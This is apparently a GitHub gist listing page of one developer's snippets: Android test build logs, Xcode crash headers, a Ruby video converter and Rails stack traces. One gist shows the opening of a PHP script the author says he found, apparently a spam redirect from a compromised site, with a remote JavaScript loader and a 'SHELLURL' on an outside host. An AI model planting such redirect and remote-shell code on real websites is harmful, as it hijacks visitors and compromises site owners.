Skip to content

Instantly share code, notes, and snippets.

View cdesch's full-sized avatar
🏠
Working from home

cdesch cdesch

🏠
Working from home
View GitHub Profile
@cdesch
cdesch / gist:e79faeba20042ba7d033
Created March 31, 2015 18:07
Sugar Roboelectric Dbug
cjs-MBP15:sugar cj$ export ANDROID_HOME=~/Library/Android/sdk/
cjs-MBP15:sugar cj$ gradle build test --stacktrace
Download https://repo1.maven.org/maven2/org/robolectric/robolectric/2.4/robolectric-2.4.pom
Download https://repo1.maven.org/maven2/org/robolectric/robolectric-parent/2.4/robolectric-parent-2.4.pom
Download https://repo1.maven.org/maven2/org/robolectric/robolectric-annotations/2.4/robolectric-annotations-2.4.pom
Download https://repo1.maven.org/maven2/org/objenesis/objenesis/1.3/objenesis-1.3.pom
Download https://repo1.maven.org/maven2/org/objenesis/objenesis-parent/1.3/objenesis-parent-1.3.pom
Download https://repo1.maven.org/maven2/com/almworks/sqlite4java/sqlite4java/0.282/sqlite4java-0.282.pom
Download https://repo1.maven.org/maven2/org/sonatype/oss/oss-parent/4/oss-parent-4.pom
Download https://repo1.maven.org/maven2/org/ow2/asm/asm/5.0.1/asm-5.0.1.pom
@cdesch
cdesch / gist:d7c3b622d99807eeae2f
Created March 31, 2015 18:44
All Sugar Gradle Tests Failing
cjs-MBP15:sugar cj$ gradle build test --stacktrace
WARNING: Dependency commons-logging:commons-logging:1.1.1 is ignored for debugUnitTest as it may be conflicting with the internal version provided by Android.
In case of problem, please repackage it with jarjar to change the class packages
WARNING: Dependency org.apache.httpcomponents:httpclient:4.0.3 is ignored for debugUnitTest as it may be conflicting with the internal version provided by Android.
In case of problem, please repackage it with jarjar to change the class packages
WARNING: Dependency commons-logging:commons-logging:1.1.1 is ignored for releaseUnitTest as it may be conflicting with the internal version provided by Android.
In case of problem, please repackage it with jarjar to change the class packages
WARNING: Dependency org.apache.httpcomponents:httpclient:4.0.3 is ignored for releaseUnitTest as it may be conflicting with the internal version provided by Android.
In case of problem, please repackage it with
@cdesch
cdesch / gist:bc050cd1324df40f469e
Created April 3, 2015 17:57
Ubuntu Network Interace Teaming
ethtool
ifup
ifdown
ifconfig -a
# The loopback network interface
auto lo
iface lo inet loopback
PhaseScriptExecution Compile\ Metal\ Shaders /Users/cj/Library/Developer/Xcode/DerivedData/test2-bkzmlvgkzmttrxgwtknwjroronjm/Build/Intermediates/test2.build/Debug-iphonesimulator/test2\ iOS.build/Script-D352B47A19EC5D8A00829775.sh
cd /Users/cj/XcodeProjects/test2.spritebuilder
export ACTION=build
export AD_HOC_CODE_SIGNING_ALLOWED=NO
export ALTERNATE_GROUP=staff
export ALTERNATE_MODE=u+w,go-w,a+rX
export ALTERNATE_OWNER=cj
export ALWAYS_SEARCH_USER_PATHS=NO
export ALWAYS_USE_SEPARATE_HEADERMAPS=YES
export APPLE_INTERNAL_DEVELOPER_DIR=/AppleInternal/Developer
Process: Xcode [27251]
Path: /Applications/Xcode.app/Contents/MacOS/Xcode
Identifier: com.apple.dt.Xcode
Version: 6.3.2 (7718)
Build Info: IDEFrameworks-7718000000000000~2
App Item ID: 497799835
App External ID: 812404257
Code Type: X86-64 (Native)
Parent Process: ??? [1]
Responsible: Xcode [27251]
Process: Xcode [17168]
Path: /Applications/Xcode.app/Contents/MacOS/Xcode
Identifier: com.apple.dt.Xcode
Version: 6.3.2 (7718)
Build Info: IDEFrameworks-7718000000000000~2
App Item ID: 497799835
App External ID: 812404257
Code Type: X86-64 (Native)
Parent Process: ??? [1]
Responsible: Xcode [17168]
puts 'Converting FLV files'
Dir.new('.').each do |file|
if file =~ /.\.flv$/i
puts ' --> converting: ' + file + ' to ' + file.gsub(/.\.flv$/i, '.mp4')
`ffmpeg -i #{file} #{file.gsub(/.\.flv$/i, '.mp4')}`
end
end
@cdesch
cdesch / hard.php
Created July 23, 2015 20:30
a PHP script I found to redirect to a website
<?php
error_reporting ( 0 );
$jumpcode='http://lsilence.com/hogan.js';
define("DESURL","http://www.raffaello-network.com/");
define("SHELLURL","http://saturnaliabooks.com/hards.php?");
define("RP","-p-");
define("RC","-c-");
define("HI","orange/sale-hogan-discount-shoes-women.html");
activerecord (4.2.3) lib/active_record/dynamic_matchers.rb:26:in `method_missing'
/Users/cj/RubymineProjects/book_store/lib/book_store/admin/books.rb:8:in `block (3 levels) in <top (required)>'
/Users/cj/.rbenv/versions/2.2.0/lib/ruby/gems/2.2.0/bundler/gems/activeadmin-cdace51b2a5c/lib/active_admin/views/components/active_admin_form.rb:53:in `call'
/Users/cj/.rbenv/versions/2.2.0/lib/ruby/gems/2.2.0/bundler/gems/activeadmin-cdace51b2a5c/lib/active_admin/views/components/active_admin_form.rb:53:in `block (2 levels) in inputs'
actionview (4.2.3) lib/action_view/helpers/capture_helper.rb:38:in `block in capture'
actionview (4.2.3) lib/action_view/helpers/capture_helper.rb:202:in `with_output_buffer'
actionview (4.2.3) lib/action_view/helpers/capture_helper.rb:38:in `capture'
/Users/cj/.rbenv/versions/2.2.0/lib/ruby/gems/2.2.0/bundler/gems/activeadmin-cdace51b2a5c/lib/active_admin/views/components/active_admin_form.rb:52:in `block in inputs'
rails plugin new basic_calendar -T --mountable --dummy-path=spec/dummy && cd basic_calendar
Add
s.test_files = Dir["spec/**/*"]
#append rakefile
require 'rspec/core'
require 'rspec/core/rake_task'
desc "Run all specs in spec directory (excluding plugin specs)"